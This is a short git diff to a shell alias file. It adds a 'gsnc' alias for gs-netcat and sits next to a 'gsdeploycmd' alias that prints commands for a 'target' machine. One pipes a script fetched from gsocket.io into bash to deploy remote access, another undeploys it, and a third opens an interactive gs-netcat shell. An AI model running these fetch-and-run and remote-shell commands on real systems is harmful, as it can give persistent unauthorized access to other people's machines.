diff --git a/net b/net index a541fbe..b614f5e 100644 --- a/net +++ b/net @@ -17,5 +17,6 @@ alias websrv='python3 -m http.server' # gsocket-related aliases +alias gsnc='gs-netcat -i -s' defalias gssec 's="$(echo "${GS_SEED:?}$1"|sha512sum|base64|tr -d -c a-z0-9)";echo ${s:0:22};unset s' defalias gsdeploycmd 'printf "Deploy on target:\ncurl -fsSL https://gsocket.io/y | X=%s bash\nUndeploy from target:\ncurl -fsSL https://gsocket.io/y | GS_UNDO=1 bash\nAccess:\ngs-netcat -i -s %s\n" $1 $1'